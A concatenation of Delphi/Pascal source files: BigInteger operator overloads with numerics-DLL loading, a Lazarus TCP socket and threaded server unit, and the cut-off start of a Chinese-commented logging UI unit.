class operator BigInteger.Implicit(const Value: Int64): BigInteger;
begin
HResCheck(BigNumberFromDblIntLimb(Result.FNumber, Value));
end;
class operator BigInteger.Explicit(const Value: TBytes): BigInteger;
begin
HResCheck(BigNumberFromPByte(Result.FNumber,
Pointer(Value), Length(Value), True));
end;
class operator BigInteger.Explicit(const Value: string): BigInteger;
begin
HResCheck(BigNumberFromPChar(Result.FNumber, Pointer(Value), Length(Value),
SizeOf(Char), True, False));
end;
class operator BigInteger.Equal(const A, B: BigInteger): Boolean;
begin
Result:= Compare(A, B) = 0;
end;
class operator BigInteger.Equal(const A: BigCardinal; const B: BigInteger): Boolean;
begin
Result:= Compare(A, B) = 0;
end;
class operator BigInteger.Equal(const A: BigInteger; const B: BigCardinal): Boolean;
begin
Result:= Compare(A, B) = 0;
end;
class operator BigInteger.NotEqual(const A, B: BigInteger): Boolean;
begin
Result:= Compare(A, B) <> 0;
end;
class operator BigInteger.NotEqual(const A: BigCardinal; const B: BigInteger): Boolean;
begin
Result:= Compare(A, B) <> 0;
end;
class operator BigInteger.NotEqual(const A: BigInteger; const B: BigCardinal): Boolean;
begin
Result:= Compare(A, B) <> 0;
end;
class operator BigInteger.GreaterThan(const A, B: BigInteger): Boolean;
begin
Result:= Compare(A, B) > 0;
end;
class operator BigInteger.GreaterThan(const A: BigInteger; const B: BigCardinal): Boolean;
begin
Result:= Compare(A, B) > 0;
end;
class operator BigInteger.GreaterThan(const A: BigCardinal; const B: BigInteger): Boolean;
begin
Result:= Compare(A, B) > 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A, B: BigInteger): Boolean;
begin
Result:= Compare(A, B) >= 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A: BigInteger; const B: BigCardinal): Boolean;
begin
Result:= Compare(A, B) >= 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A: BigCardinal; const B: BigInteger): Boolean;
begin
Result:= Compare(A, B) >= 0;
end;
class operator BigInteger.LessThan(const A, B: BigInteger): Boolean;
begin
Result:= Compare(A, B) < 0;
end;
class operator BigInteger.LessThan(const A: BigInteger; const B: BigCardinal): Boolean;
begin
Result:= Compare(A, B) < 0;
end;
class operator BigInteger.LessThan(const A: BigCardinal; const B: BigInteger): Boolean;
begin
Result:= Compare(A, B) < 0;
end;
class operator BigInteger.LessThanOrEqual(const A, B: BigInteger): Boolean;
begin
Result:= Compare(A, B) <= 0;
end;
class operator BigInteger.LessThanOrEqual(const A: BigInteger; const B: BigCardinal): Boolean;
begin
Result:= Compare(A, B) <= 0;
end;
class operator BigInteger.LessThanOrEqual(const A: BigCardinal; const B: BigInteger): Boolean;
begin
Result:= Compare(A, B) <= 0;
end;
class operator BigInteger.Add(const A, B: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.AddNumber(B.FNumber, Result.FNumber));
end;
class operator BigInteger.Subtract(const A, B: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.SubNumber(B.FNumber, Result.FNumber));
end;
class operator BigInteger.Multiply(const A, B: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.MulNumber(B.FNumber, Result.FNumber));
end;
class operator BigInteger.IntDivide(const A, B: BigInteger): BigInteger;
var
Remainder: IBigNumber;
begin
HResCheck(A.FNumber.DivRemNumber(B.FNumber, Result.FNumber, Remainder));
end;
class operator BigInteger.Modulus(const A, B: BigInteger): BigInteger;
var
Quotient: IBigNumber;
begin
HResCheck(A.FNumber.DivRemNumber(B.FNumber, Quotient, Result.FNumber));
end;
class operator BigInteger.LeftShift(const A: BigInteger; Shift: Cardinal): BigInteger;
begin
HResCheck(A.FNumber.ShlNumber(Shift, Result.FNumber));
end;
class operator BigInteger.RightShift(const A: BigInteger; Shift: Cardinal): BigInteger;
begin
HResCheck(A.FNumber.ShrNumber(Shift, Result.FNumber));
end;
class operator BigInteger.BitwiseAnd(const A, B: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.AndNumber(B.FNumber, Result.FNumber));
end;
class operator BigInteger.BitwiseOr(const A, B: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.OrNumber(B.FNumber, Result.FNumber));
end;
class operator BigInteger.BitwiseXor(const A, B: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.XorNumber(B.FNumber, Result.FNumber));
end;
class operator BigInteger.Equal(const A: BigInteger; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimb(B) = 0;
end;
class operator BigInteger.Equal(const A: Cardinal; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToLimb(A) = 0;
end;
class operator BigInteger.Equal(const A: BigInteger; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimb(B) = 0;
end;
class operator BigInteger.Equal(const A: Integer; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToIntLimb(A) = 0;
end;
class operator BigInteger.NotEqual(const A: BigInteger; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimb(B) <> 0;
end;
class operator BigInteger.NotEqual(const A: Cardinal; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToLimb(A) <> 0;
end;
class operator BigInteger.NotEqual(const A: BigInteger; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimb(B) <> 0;
end;
class operator BigInteger.NotEqual(const A: Integer; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToIntLimb(A) <> 0;
end;
class operator BigInteger.GreaterThan(const A: BigInteger; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimb(B) > 0;
end;
class operator BigInteger.GreaterThan(const A: Cardinal; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToLimb(A) < 0;
end;
class operator BigInteger.GreaterThan(const A: BigInteger; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimb(B) > 0;
end;
class operator BigInteger.GreaterThan(const A: Integer; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToIntLimb(A) < 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A: BigInteger; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimb(B) >= 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A: Cardinal; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToLimb(A) <= 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A: BigInteger; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimb(B) >= 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A: Integer; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToIntLimb(A) <= 0;
end;
class operator BigInteger.LessThan(const A: BigInteger; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimb(B) < 0;
end;
class operator BigInteger.LessThan(const A: Cardinal; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToLimb(A) > 0;
end;
class operator BigInteger.LessThan(const A: BigInteger; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimb(B) < 0;
end;
class operator BigInteger.LessThan(const A: Integer; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToIntLimb(A) > 0;
end;
class operator BigInteger.LessThanOrEqual(const A: BigInteger; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimb(B) <= 0;
end;
class operator BigInteger.LessThanOrEqual(const A: Cardinal; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToLimb(A) >= 0;
end;
class operator BigInteger.LessThanOrEqual(const A: BigInteger; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimb(B) <= 0;
end;
class operator BigInteger.LessThanOrEqual(const A: Integer; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToIntLimb(A) >= 0;
end;
class operator BigInteger.Equal(const A: BigInteger; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimb(B) = 0;
end;
class operator BigInteger.Equal(const A: UInt64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblLimb(A) = 0;
end;
class operator BigInteger.Equal(const A: BigInteger; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimb(B) = 0;
end;
class operator BigInteger.Equal(const A: Int64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimb(A) = 0;
end;
class operator BigInteger.NotEqual(const A: BigInteger; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimb(B) <> 0;
end;
class operator BigInteger.NotEqual(const A: UInt64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblLimb(A) <> 0;
end;
class operator BigInteger.NotEqual(const A: BigInteger; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimb(B) <> 0;
end;
class operator BigInteger.NotEqual(const A: Int64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimb(A) <> 0;
end;
class operator BigInteger.GreaterThan(const A: BigInteger; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimb(B) > 0;
end;
class operator BigInteger.GreaterThan(const A: UInt64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblLimb(A) < 0;
end;
class operator BigInteger.GreaterThan(const A: BigInteger; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimb(B) > 0;
end;
class operator BigInteger.GreaterThan(const A: Int64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimb(A) < 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A: BigInteger; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimb(B) >= 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A: UInt64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblLimb(A) <= 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A: BigInteger; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimb(B) >= 0;
end;
class operator BigInteger.GreaterThanOrEqual(const A: Int64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimb(A) <= 0;
end;
class operator BigInteger.LessThan(const A: BigInteger; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimb(B) < 0;
end;
class operator BigInteger.LessThan(const A: UInt64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblLimb(A) > 0;
end;
class operator BigInteger.LessThan(const A: BigInteger; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimb(B) < 0;
end;
class operator BigInteger.LessThan(const A: Int64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimb(A) > 0;
end;
class operator BigInteger.LessThanOrEqual(const A: BigInteger; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimb(B) <= 0;
end;
class operator BigInteger.LessThanOrEqual(const A: UInt64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblLimb(A) >= 0;
end;
class operator BigInteger.LessThanOrEqual(const A: BigInteger; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimb(B) <= 0;
end;
class operator BigInteger.LessThanOrEqual(const A: Int64; const B: BigInteger): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimb(A) >= 0;
end;
// -- arithmetic operations on BigInteger & Cardinal --
class operator BigInteger.Add(const A: BigInteger; const B: Cardinal): BigInteger;
begin
HResCheck(A.FNumber.AddLimb(B, Result.FNumber));
end;
class operator BigInteger.Subtract(const A: BigInteger; const B: Cardinal): BigInteger;
begin
HResCheck(A.FNumber.SubLimb(B, Result.FNumber));
end;
class operator BigInteger.Multiply(const A: BigInteger; const B: Cardinal): BigInteger;
begin
HResCheck(A.FNumber.MulLimb(B, Result.FNumber));
end;
class operator BigInteger.IntDivide(const A: BigInteger; const B: Cardinal): BigInteger;
var
Remainder: BigInteger;
begin
HResCheck(A.FNumber.DivRemLimb(B, Result.FNumber, Remainder.FNumber));
end;
class operator BigInteger.Modulus(const A: BigInteger; const B: Cardinal): BigInteger;
var
Quotient: BigInteger;
begin
HResCheck(A.FNumber.DivRemLimb(B, Quotient.FNumber, Result.FNumber));
end;
class function BigInteger.DivRem(const Dividend: BigInteger;
const Divisor: Cardinal; var Remainder: BigInteger): BigInteger;
begin
HResCheck(Dividend.FNumber.DivRemLimb(Divisor, Result.FNumber, Remainder.FNumber));
end;
// -- arithmetic operations on Cardinal & BigInteger --
class operator BigInteger.Add(const A: Cardinal; const B: BigInteger): BigInteger;
begin
HResCheck(B.FNumber.AddLimb(A, Result.FNumber));
end;
class operator BigInteger.Subtract(const A: Cardinal; const B: BigInteger): BigInteger;
begin
HResCheck(B.FNumber.SubLimb2(A, Result.FNumber));
end;
class operator BigInteger.Multiply(const A: Cardinal; const B: BigInteger): BigInteger;
begin
HResCheck(B.FNumber.MulLimb(A, Result.FNumber));
end;
class operator BigInteger.IntDivide(const A: Cardinal; const B: BigInteger): BigInteger;
var
Remainder: Cardinal;
begin
HResCheck(B.FNumber.DivRemLimb2(A, Result.FNumber, Remainder));
end;
class operator BigInteger.Modulus(const A: Cardinal; const B: BigInteger): Cardinal;
var
Quotient: BigInteger;
begin
HResCheck(B.FNumber.DivRemLimb2(A, Quotient.FNumber, Result));
end;
class function BigInteger.DivRem(const Dividend: Cardinal;
const Divisor: BigInteger; var Remainder: Cardinal): BigInteger;
begin
HResCheck(Divisor.FNumber.DivRemLimb2(Dividend, Result.FNumber, Remainder));
end;
// -- arithmetic operations on BigInteger & Integer --
class operator BigInteger.Add(const A: BigInteger; const B: Integer): BigInteger;
begin
HResCheck(A.FNumber.AddIntLimb(B, Result.FNumber));
end;
class operator BigInteger.Subtract(const A: BigInteger; const B: Integer): BigInteger;
begin
HResCheck(A.FNumber.SubIntLimb(B, Result.FNumber));
end;
class operator BigInteger.Multiply(const A: BigInteger; const B: Integer): BigInteger;
begin
HResCheck(A.FNumber.MulIntLimb(B, Result.FNumber));
end;
class operator BigInteger.IntDivide(const A: BigInteger; const B: Integer): BigInteger;
var
Remainder: Integer;
begin
HResCheck(A.FNumber.DivRemIntLimb(B, Result.FNumber, Remainder));
end;
class operator BigInteger.Modulus(const A: BigInteger; const B: Integer): Integer;
var
Quotient: BigInteger;
begin
HResCheck(A.FNumber.DivRemIntLimb(B, Quotient.FNumber, Result));
end;
class function BigInteger.DivRem(const Dividend: BigInteger;
const Divisor: Integer; var Remainder: Integer): BigInteger;
begin
HResCheck(Dividend.FNumber.DivRemIntLimb(Divisor, Result.FNumber, Remainder));
end;
// -- arithmetic operations on Integer & BigInteger --
class operator BigInteger.Add(const A: Integer; const B: BigInteger): BigInteger;
begin
HResCheck(B.FNumber.AddIntLimb(A, Result.FNumber));
end;
class operator BigInteger.Subtract(const A: Integer; const B: BigInteger): BigInteger;
begin
HResCheck(B.FNumber.SubIntLimb2(A, Result.FNumber));
end;
class operator BigInteger.Multiply(const A: Integer; const B: BigInteger): BigInteger;
begin
HResCheck(B.FNumber.MulIntLimb(A, Result.FNumber));
end;
class operator BigInteger.IntDivide(const A: Integer; const B: BigInteger): Integer;
var
Remainder: Integer;
begin
HResCheck(B.FNumber.DivRemIntLimb2(A, Result, Remainder));
end;
class operator BigInteger.Modulus(const A: Integer; const B: BigInteger): Integer;
var
Quotient: Integer;
begin
HResCheck(B.FNumber.DivRemIntLimb2(A, Quotient, Result));
end;
class function BigInteger.DivRem(const Dividend: Integer;
const Divisor: BigInteger; var Remainder: Integer): Integer;
begin
HResCheck(Divisor.FNumber.DivRemIntLimb2(Dividend, Result, Remainder));
end;
// ------------------------ DLL load stuff ---------------------------- //
const
{$IFDEF WIN64}
LibName = 'numerics64.dll';
{$ELSE}
LibName = 'numerics32.dll';
{$ENDIF}
function GetNumericsVersionError(var Version: LongWord): TF_RESULT; stdcall;
begin
Result:= TF_E_LOADERROR;
end;
function BigNumberFrom32Error(var A: IBigNumber; Value: Cardinal): TF_RESULT; stdcall;
begin
Result:= TF_E_LOADERROR;
end;
function BigNumberFrom64Error(var A: IBigNumber; Value: UInt64): TF_RESULT; stdcall;
begin
Result:= TF_E_LOADERROR;
end;
function BigNumberFromPCharError(var A: IBigNumber; P: PByte; L: Integer;
CharSize: Integer; AllowNegative: Boolean; TwoCompl: Boolean): TF_RESULT; stdcall;
begin
Result:= TF_E_LOADERROR;
end;
function BigNumberFromPByteError(var A: IBigNumber;
P: PByte; L: Cardinal; AllowNegative: Boolean): TF_RESULT; stdcall;
begin
Result:= TF_E_LOADERROR;
end;
function BigNumberAllocError(var A: IBigNumber; ASize: Integer): TF_RESULT; stdcall;
begin
Result:= TF_E_LOADERROR;
end;
var
LibLoaded: Boolean = False;
function LoadNumerics(const Name: string): TF_RESULT;
var
LibHandle: THandle;
Version: LongWord;
begin
if LibLoaded then begin
Result:= TF_S_FALSE;
Exit;
end;
if Name = ''
then LibHandle:= LoadLibrary(LibName)
else LibHandle:= LoadLibrary(PChar(Name));
if (LibHandle <> 0) then begin
@GetNumericsVersion:= GetProcAddress(LibHandle, 'GetNumericsVersion');
@BigNumberFromLimb:= GetProcAddress(LibHandle, 'BigNumberFromLimb');
@BigNumberFromDblLimb:= GetProcAddress(LibHandle, 'BigNumberFromDblLimb');
@BigNumberFromIntLimb:= GetProcAddress(LibHandle, 'BigNumberFromIntLimb');
@BigNumberFromDblIntLimb:= GetProcAddress(LibHandle, 'BigNumberFromDblIntLimb');
@BigNumberFromPChar:= GetProcAddress(LibHandle, 'BigNumberFromPChar');
@BigNumberFromPByte:= GetProcAddress(LibHandle, 'BigNumberFromPByte');
@BigNumberAlloc:= GetProcAddress(LibHandle, 'BigNumberAlloc');
if (@GetNumericsVersion <> nil) and
(@BigNumberFromLimb <> nil) and
(@BigNumberFromDblLimb <> nil) and
(@BigNumberFromIntLimb <> nil) and
(@BigNumberFromDblIntLimb <> nil) and
(@BigNumberFromPChar <> nil) and
(@BigNumberFromPByte <> nil) and
(@BigNumberAlloc <> nil)
then begin
if (GetNumericsVersion(Version) = TF_S_OK) and
(Version = NumericsVersion)
then begin
LibLoaded:= True;
Result:= TF_S_OK;
Exit;
end;
end;
FreeLibrary(LibHandle);
end;
@GetNumericsVersion:= @GetNumericsVersionError;
@BigNumberFromLimb:= @BigNumberFrom32Error;
@BigNumberFromDblLimb:= @BigNumberFrom64Error;
@BigNumberFromIntLimb:= @BigNumberFrom32Error;
@BigNumberFromDblIntLimb:= @BigNumberFrom64Error;
@BigNumberFromPChar:= @BigNumberFromPCharError;
@BigNumberFromPByte:= @BigNumberFromPByteError;
@BigNumberAlloc:= @BigNumberAllocError;
Result:= TF_E_LOADERROR;
end;
function BigNumberFromLimbStub(var A: IBigNumber; Value: Cardinal): TF_RESULT; stdcall;
begin
LoadNumerics(LibName);
Result:= BigNumberFromLimb(A, Value);
end;
function BigNumberFromDblLimbStub(var A: IBigNumber; Value: UInt64): TF_RESULT; stdcall;
begin
LoadNumerics(LibName);
Result:= BigNumberFromDblLimb(A, Value);
end;
function BigNumberFromIntLimbStub(var A: IBigNumber; Value: Integer): TF_RESULT; stdcall;
begin
LoadNumerics(LibName);
Result:= BigNumberFromIntLimb(A, Value);
end;
function BigNumberFromDblIntLimbStub(var A: IBigNumber; Value: Int64): TF_RESULT; stdcall;
begin
LoadNumerics(LibName);
Result:= BigNumberFromDblIntLimb(A, Value);
end;
function BigNumberFromPCharStub(var A: IBigNumber; P: PByte; L: Integer;
CharSize: Integer; AllowNegative: Boolean; TwoCompl: Boolean): TF_RESULT; stdcall;
begin
LoadNumerics(LibName);
Result:= BigNumberFromPChar(A, P, L, CharSize, AllowNegative, TwoCompl);
end;
function BigNumberFromPByteStub(var A: IBigNumber;
P: PByte; L: Cardinal; AllowNegative: Boolean): TF_RESULT; stdcall;
begin
LoadNumerics(LibName);
Result:= BigNumberFromPByte(A, P, L, AllowNegative);
end;
function BigNumberAllocStub(var A: IBigNumber; ASize: Integer): TF_RESULT; stdcall;
begin
LoadNumerics(LibName);
Result:= BigNumberAlloc(A, ASize);
end;
initialization
@BigNumberFromLimb:= @BigNumberFromLimbStub;
@BigNumberFromDblLimb:= @BigNumberFromDblLimbStub;
@BigNumberFromIntLimb:= @BigNumberFromIntLimbStub;
@BigNumberFromDblIntLimb:= @BigNumberFromDblIntLimbStub;
@BigNumberFromPChar:= @BigNumberFromPCharStub;
@BigNumberFromPByte:= @BigNumberFromPByteStub;
@BigNumberAlloc:= @BigNumberAllocStub;
end.
|
unit TCPSocket_Lazarus;
interface
uses
Sysutils, RTLConsts, windows, StatusThread,
Classes, SyncObjs, sockets;
{$M+}
const
INVALID_SOCKET = -1;
SOCKET_ERROR = -1;
type
TSocket = Longint;
TTCPHost = record
IP: String;
Port: Word;
end;
TSimpleTCPSocket = class
private
function GetPeerName: AnsiString;
protected
FSocket: TSocket;
FConnected: Boolean;
procedure Error(Source: string);
public
function ReceiveBuf(var Buf; Size: Word): Integer;
{function ReceiveLength: Integer;}
function SendBuf(var Buf; Size: Word): Integer;
constructor Create(Socket: TSocket = INVALID_SOCKET);
procedure Close;
destructor Destroy; override;
function Accept: TSocket;
procedure Bind(Port: Word);
function Connect(IP: String; Port: Word): boolean;
function RemoteHost: TTCPHost;
procedure Listen;
function Connected: Boolean;
function SelectWrite(Timeout: Word): Boolean;
end;
TTCPSocket = class(TSimpleTCPSocket)
public
procedure ReceiveBuf(var Buf; Size: Word);
procedure SendBuf(var Buf; Size: Word);
end;
TSimpleServerClientConnect = procedure(Sender: TObject; newSocket: TSocket) of object;
TSimpleServer = class(TSThread)
private
NewSocket: TSocket;
FServerPort: Integer;
FServerActive: Boolean;
Started: TEvent;
procedure DoOnClientConnect; virtual;
public
ListenSocket: TTCPSocket;
OnClientConnect: TSimpleServerClientConnect;
property ServerPort: Integer read FServerPort;
procedure Execute; override;
function Start(Port: Integer): Boolean;
procedure Stop;
destructor Destroy; override;
constructor Create; //ListenSocket, Aktiviert wenn Server aktiv (s. StartServer, StopServer)
end;
TSimpleServerComponent = class(TComponent)
private
FOnClientConnect: TSimpleServerClientConnect;
procedure SetOnClientConnect(p: TSimpleServerClientConnect);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
published
SimpleServer: TSimpleServer;
property OnClientConnect: TSimpleServerClientConnect read FOnClientConnect write SetOnClientConnect;
end;
{function GetHostByName(Host: String): in_addr;}
procedure Register;
implementation
procedure Startup;
begin
//Nothing!!!
end;
function TSimpleTCPSocket.GetPeerName: AnsiString;
var l: Longint;
begin
Setlength(Result,255);
l := 255;
if Sockets.GetPeerName(FSocket,PChar(Result)^,l) <> 0 then Error('GetPeerName');
end;
function TSimpleTCPSocket.Accept: TSocket;
var SAddr: TInetSockAddr;
begin
FillChar(SAddr,Sizeof(SAddr),0);
Result := sockets.accept(FSocket,SAddr,Sizeof(SAddr));
if Result = INVALID_SOCKET then Error('Accept');
end;
procedure TSimpleTCPSocket.Bind(Port: Word);
var SAddr: TInetSockAddr;
begin //vor listen aufzurufen!
SAddr.sin_family:=AF_INET;
SAddr.sin_port:=htons(Port);
SAddr.sin_addr.s_addr:=INADDR_ANY;
if not sockets.Bind(FSocket,SAddr,sizeof(SAddr)) then
Error('Bind');
end;
procedure TSimpleTCPSocket.Close;
begin
FConnected := False;
closesocket(FSocket);
end;
function TSimpleTCPSocket.Connect(IP: String; Port: Word): boolean;
var
sockaddr: TInetSockAddr;
begin
sockaddr.sin_family := AF_INET;
sockaddr.sin_port := htons(Port);
sockaddr.sin_addr := StrToHostAddr(IP);
if sockaddr.sin_addr.S_addr = -1 then
sockaddr.sin_addr := Sockets.StrToHostAddr(IP);
if not(sockets.connect(FSocket,sockaddr,sizeof(sockaddr))) then Error('Connect')
else FConnected := True;
Result := FConnected;
end;
function TSimpleTCPSocket.Connected: Boolean;
begin
Result := FConnected;
if Result then
GetPeerName; //-> das müsste ja dann gehen!? (wenn nicht is er nichtmehr verbunden!)
end;
constructor TSimpleTCPSocket.Create(Socket: TSocket = INVALID_SOCKET);
begin
inherited Create;
Startup;
FSocket := Socket;
FConnected := False;
if FSocket = INVALID_SOCKET then
begin
FSocket := Sockets.Socket(AF_INET,SOCK_STREAM,0);
if FSocket = INVALID_SOCKET then Error('Create');
end else FConnected := True;
end;
destructor TSimpleTCPSocket.Destroy;
begin
Close;
inherited;
end;
procedure TSimpleTCPSocket.Error(Source: string);
var
ErrorCode: Integer;
begin
ErrorCode := Sockets.SocketError;
if ErrorCode <> 0 then
begin
Close;
raise Exception.Create((SysErrorMessage(ErrorCode) + ' (' + inttostr(ErrorCode) + ') API: ' + Source));
end;
end;
procedure TSimpleTCPSocket.Listen;
var r: Integer;
begin
if not sockets.listen(FSocket,1) then Error('Listen');
end;
function TSimpleTCPSocket.ReceiveBuf(var Buf; Size: Word): Integer;
begin
if not FConnected then raise Exception.Create('API: ReceiveBuf, Socket nicht verbunden!');
Result := sockets.recv(FSocket, Buf, Size, 0);
if (Result = SOCKET_ERROR) then Error('ReceiveBuf');
if Result = 0 then Close;
end;
{function TSimpleTCPSocket.ReceiveLength: Integer;
begin
Result := 0;
if FConnected then
if ioctlsocket(FSocket, FIONREAD, Longint(Result)) = SOCKET_ERROR then Error('ReceiveLength');
end; }
function TSimpleTCPSocket.RemoteHost: TTCPHost;
begin
Result.IP := GetPeerName;
Result.Port := 0;
end;
function TSimpleTCPSocket.SelectWrite(Timeout: Word): Boolean;
begin
Result := True; //Geht mit lazarus nich, also: einfach immer JA!
//Weis eh nicht obs das ganze hier gebracht hat!!
end;
function TSimpleTCPSocket.SendBuf(var Buf; Size: Word): Integer;
begin
if not FConnected then raise Exception.Create('API: SendBuf, Socket nicht verbunden!');
Result := send(FSocket, Buf, Size, 0);
if Result = SOCKET_ERROR then Error('SendBuf');
end;
{function GetHostByName(Host: String): in_addr;
var hostaddr: PHostEnt;
begin
hostaddr := winsock.gethostbyname(Pchar(Host));
if hostaddr <> nil then
Result := PInAddr(hostaddr^.h_addr^)^
else Result.S_addr := -1;
end;}
procedure TTCPSocket.ReceiveBuf(var Buf; Size: Word);
var ReadPos,ReadCount: Word;
ReadPointer: Pointer;
begin
ReadPos := 0;
repeat
ReadPointer := Pointer(Cardinal(@Buf) + ReadPos);
ReadCount := inherited ReceiveBuf(ReadPointer^,Size-ReadPos);
ReadPos := ReadPos + ReadCount;
until (not FConnected)or(ReadPos = Size);
end;
procedure TTCPSocket.SendBuf(var Buf; Size: Word);
var SendPos,SendCount: Word;
SendPointer: Pointer;
begin
SendPos := 0;
repeat
SendPointer := Pointer(Cardinal(@Buf) + SendPos);
SendCount := inherited SendBuf(SendPointer^,Size-SendPos);
SendPos := SendPos + SendCount;
until (not FConnected)or(SendPos = Size);
end;
procedure TSimpleServer.Stop;
begin
FServerActive := False;
if ListenSocket <> nil then
ListenSocket.Close;
end;
function TSimpleServer.Start(Port: Integer): Boolean;
begin
if FServerActive then
raise Exception.Create('TSimpleServer.Start: Server Already Started!');
FServerPort := Port;
FServerActive := True;
Started.ResetEvent;
Resume;
Result := (Started.WaitFor(high(Cardinal)) = wrSignaled)and(FServerActive);
end;
procedure TSimpleServer.Execute;
begin
inherited;
ReturnValue := STILL_ACTIVE;
Status := 'Started...';
while not Terminated do
begin
if FServerActive then
begin
ListenSocket := TTCPSocket.Create;
try
ListenSocket.Bind(FServerPort);
ListenSocket.Listen;
Started.SetEvent;
while (not Terminated)and(FServerActive) do
begin
Status := 'Listening...';
NewSocket := ListenSocket.Accept;
if NewSocket <> INVALID_SOCKET then
begin
Status := 'Notifying new client';
if Assigned(OnClientConnect) then
try
Synchronize(@DoOnClientConnect);
except
on E: Exception do
begin
Status := 'Exception while notifying new client in ' + Name + ':' + E.Message + ' (' + E.ClassName + ')';
end;
end;
end;
Sleep(100);
end;
except
on E: Exception do
begin
Status := 'Exception while listening in ' + Name + ':' + E.Message + ' (' + E.ClassName + ') -> Server Paused';
FServerActive := False;
Started.SetEvent;
end;
end;
ListenSocket.Free;
end //If FServerActive then
else
begin
Status := 'Paused';
Suspend;
end;
end;
Status := 'Stopped';
ReturnValue := 0;
end;
procedure TSimpleServer.DoOnClientConnect;
begin
OnClientConnect(Self,NewSocket);
end;
destructor TSimpleServer.Destroy;
begin
Terminate;
if FServerActive then
begin
FServerActive := False;
ListenSocket.Close;
end;
Resume;
if ReturnValue = STILL_ACTIVE then
WaitFor;
Started.Free;
inherited;
end;
constructor TSimpleServer.Create;
begin
inherited Create(False);
FServerActive := False;
FreeOnTerminate := False;
Started := TEvent.Create(nil,True,False,'');
end;
procedure Register;
begin
RegisterComponents('nice things', [TSimpleServerComponent]);
end;
constructor TSimpleServerComponent.Create(AOwner: TComponent);
begin
inherited;
SimpleServer := TSimpleServer.Create;
end;
destructor TSimpleServerComponent.Destroy;
begin
SimpleServer.Free;
inherited;
end;
procedure TSimpleServerComponent.SetOnClientConnect(
p: TSimpleServerClientConnect);
begin
SimpleServer.OnClientConnect := p;
FOnClientConnect := p;
end;
end.
|
unit uSmartLog;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ActnList, ImgList, Menus, ComCtrls, uLogMgr, StdCtrls, ToolWin, ExtCtrls,
Buttons;
const
WISDOM_TREE_NODE_ID = $FFFFFFFF;
SEARCH_TREE_NODE_ID = $FFFFFFFE;
WISDOM_TREE_TITLE = '名言警句';
COMMENT_BACK_COLOR = $F0CAA6;
type
TMyHintWindow = class(THintWindow)
private
FWndBmp: TBitmap; //窗口位图
FHintBmp: TBitmap; //提示信息位图
protected
procedure CreateParams(var Params: TCreateParams); override;
procedure Paint; override;
procedure NCPaint(DC: HDC); override;
{画提示的图象}
procedure DrawHintImg(Bmp:TBitmap; AHint: string);
{取得提示窗口对应的桌面区域的图象}
